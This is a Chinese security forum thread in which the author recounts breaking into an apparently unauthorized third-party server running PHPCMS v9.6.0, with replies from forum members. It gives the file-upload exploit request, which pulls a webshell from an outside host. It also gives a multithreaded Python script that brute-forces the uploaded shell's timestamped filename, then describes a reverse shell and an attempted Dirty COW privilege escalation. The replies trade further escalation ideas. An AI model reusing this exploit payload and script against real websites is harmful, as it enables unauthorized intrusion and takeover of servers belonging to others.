用户
搜索
  • TA的每日心情

    2018-8-30 11:08
  • 签到天数: 105 天

    连续签到: 1 天

    [LV.6]常住居民II

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    32

    主题

    208

    帖子

    1672

    魔法币
    收听
    0
    粉丝
    12
    注册时间
    2016-7-25

    春秋文阁积极活跃奖i春秋签约作者i春秋推荐小组幽默灌水王春秋游侠

    发表于 2018-3-12 13:32:51 12416663
    本帖最后由 Aedoo 于 2018-3-21 10:02 编辑

    0x00 前言(如果你觉得本篇文章让你获得了知识,请务必在下方点个赞,谢谢表哥们!)
    最近在看一个站点,无奈这个站防护做的比较好,服务开的也比较少,无奈只能在C段下手了,扫了一下发现有一台服务器的80端口有PHPCMS v9,于是有了下文。

    0x01 尝试前台GetShell

    这个站点首页,一般公司大概都是这个样子。
    1.png
    识别一下指纹看一下:
    推荐一个云悉指纹识别:http://www.yunsee.cn/finger.html
    2.png

    既然是PHPCMS,那就好办多了,PHPCMS各个版本漏洞层出不穷。
    直接加个admin.php:
    3.png
    果不其然是PHPCMS V9。已知漏洞如下:
    [AppleScript] 纯文本查看 复制代码
    PHPCMS_v9.6.0_SQL注入        PHPCMS_v9.6.0_任意文件上传
    PHPCMS_v9.6.1_任意文件读取
    PHPCMS_v9.6.2_SQL注入


    9.6.0和9.6.2的注入都是有回显数据的,测试不成功。文件读取未成功。
    猜测时修复注入后的9.6.0版本,只剩文件上传了。

    可参考文章:http://www.freebuf.com/vuls/131648.html

    在注册用户处抓包,POST值替换为exp,其实最主要的时info[content]这个参数。
    img里的src跟上你的服务器的shell的文本文档,然后加上 ?.php#.jpg
    这样注册用户时就会附带以jpg格式上传一个txt,并转换为php文件。

    POST值参考:
    [AppleScript] 纯文本查看 复制代码
    siteid=1&modelid=11&username=zf1agac121&password=aasgfaewee311as&email=a1ea21f94@qq.com&info[content]=<img src=http://example.cn/test.txt?.php#.jpg>&dosubmit=1&protocol=


    4.png

    但是事情并没有想象的那么顺利,BurpSuite发送到Reperter模块并填写正确exp点击go后,竟然提示操作失败:
    1_看图王.png

    当然文章还没有结束呢。

    猜测一下:这并不是上传不成功该有的返回值,所以可能已经上传成功了。至于为什么会提示上传失败,可能是站长phpsso配置的有点问题。
    既然没有返回shell的路径,只能想想别的办法了。
    于是我找了一下PHPCMS v9.6.0的源码,我本地配置了正确的phpsso,是可以上传成功的,如下图:

    6.png

    但是,如果没有回显,要怎么搞呢。
    看返回包发现,PHPCMS的文件都是以时间戳来命名的,例如,BurpSuite返回的时间是:
    [AppleScript] 纯文本查看 复制代码
    Date: Mon, 12 Mar 2018 03:40:54 GMT


    文件存储路径是:
    [AppleScript] 纯文本查看 复制代码
    http://localhost/phpcms9.6.1/uploadfile/2018/0312/20180312114055948.php


    依次是/uploadfile/年份/月日/年份月日时分秒+三位数
    这三位数,好像没有规律可循。
    我发现我上传的文件时间比返回时间慢了一秒,不太清楚怎么回事,按道理应该是一致的。
    于是,在我们胡乱分析一通后,得到结论:上传文件是可爆破的。

    返回值截图:

    7.png

    返回值截图中的时间是2018/3/12 03:53:15
    但是当时我的实际时间时 11:53:15,不知道什么原因慢了8小时。所以只能11和3各试一下了。

    Python多线程爆破脚本如下(日期目录需要自己填写):
    [Python] 纯文本查看 复制代码
    # -*- coding: utf-8 -*-import requests
    import threading,Queue
    
    class FileName(threading.Thread):
    
        def __init__(self,queue):
            threading.Thread.__init__(self)
            self.queue = queue
    
        def run(self):
            try:
                while not self.queue.empty():
                    url = self.queue.get(timeout=0.5)
                    try:
                        r = requests.get(url,timeout=2.0)
                        if r.status_code == 200:
                            print url + '!!!!!!!!'
                    except:
                        continue
            except:
                pass
    
    def main():
    
        threads = []
        thread_count = 100
        queue = Queue.Queue()
    
        url = 'http://www.example.com.cn'
        dir = '/uploadfile/2018/0312/20180312115315'
    
        for i in range(0, 1000):
            random = str(i).zfill(3)
            final = url + dir + random + '.php'
            queue.put(str(final))
    
        for i in xrange(thread_count):
            threads.append(FileName(queue))
    
        for t in threads:
            t.start()
    
        for t in threads:
            t.join()
    
    if __name__ == '__main__':
    
        main()


    成功得到咱们上传的shell:
    8.png


    9.png


    10.png

    0x02 尝试提权

    反弹shell,查看系统版本发现是:CentOS release 6.2
    内核版本:Linux  2.6.32-642.6.2.el6.x86_64
    不太懂提权,只用了脏牛漏洞打了一下。

    提示成功添加root权限用户,而其实并没有添加上。

    11.png

    12.png

    13.png
    卡在这了。
    有提权的大佬,能给个思路吗?

    0x03 各CMS EXP分享
    游客,如果您要查看本帖隐藏内容请回复




    http://www.imsunshine.cn/
    看看 怎样                                                  
    使用道具 举报 回复
    发表于 2018-3-13 10:49:13
    zhusilun 发表于 2018-3-13 10:44
    表哥如何判断cms具体版本呀

    网站footer、license.txt文件、后台登陆界面、首页或者后台管理源码可能会有注释 等等其他可能会泄漏信息的东西。
    http://www.imsunshine.cn/
    使用道具 举报 回复
    发表于 2018-3-13 10:50:42
    Th7s 发表于 2018-3-13 10:11
    看下有什么第三方没有  linux下用第三方比较好提。

    第三方组件好像只有:pure-ftpd、MySQL
    http://www.imsunshine.cn/
    使用道具 举报 回复
    看看                           
    使用道具 举报 回复
    发表于 2018-3-22 23:02:09
    服务器的时区为世界标准时间,简称UTC不属于任意时区,UTC时区默认比北京时间少8个小时,中国的时区应该为CST
    使用道具 举报 回复
    发表于 2018-3-14 23:50:06
    little6 发表于 2018-3-14 23:14
    mysql好像可以提权udf?mof?

    没找到root用户密码,网站的MySQL数据库非root
    http://www.imsunshine.cn/
    使用道具 举报 回复
    发表于 2018-3-12 13:48:52
    小木鱼 发表于 2018-3-12 13:43
    版本太新  提不了

    这样子啊  废了我老大劲了。。。。
    http://www.imsunshine.cn/
    使用道具 举报 回复
    Aedoo 发表于 2018-3-13 10:50
    第三方组件好像只有:pure-ftpd、MySQL

    mysql好像可以提权udf?mof?
    使用道具 举报 回复
    版本太新  提不了
    使用道具 举报 回复
    发表于 2018-3-12 13:57:16
    二话不说 看看 什么 exp
    使用道具 举报 回复
    支持一个、、、、、、、
    使用道具 举报 回复
    我是来看exp的
    使用道具 举报 回复
    看看再说
    使用道具 举报 回复
    发表于 2018-3-12 17:22:32
    膜拜大表哥
    使用道具 举报 回复
    发表于 2018-3-12 17:25:39
    看看exp先
    使用道具 举报 回复
    前台GetShell无回显?还是有办法的
    使用道具 举报 回复
    发表于 2018-3-12 19:32:11
    感谢分享,学习多线程处理技术
    使用道具 举报 回复
    发表于 2018-3-12 19:34:25
    0x03 各CMS EXP分享
    使用道具 举报 回复
    学习学习
    使用道具 举报 回复
    发表于 2018-3-12 22:28:21
    看看exp先
    侠之大者,为国为民
    使用道具 举报 回复
    发表于 2018-3-12 22:38:45
    支持楼主,感谢分享.回复查看!!...
    使用道具 举报 回复
    您需要登录后才可以回帖 登录 | 立即注册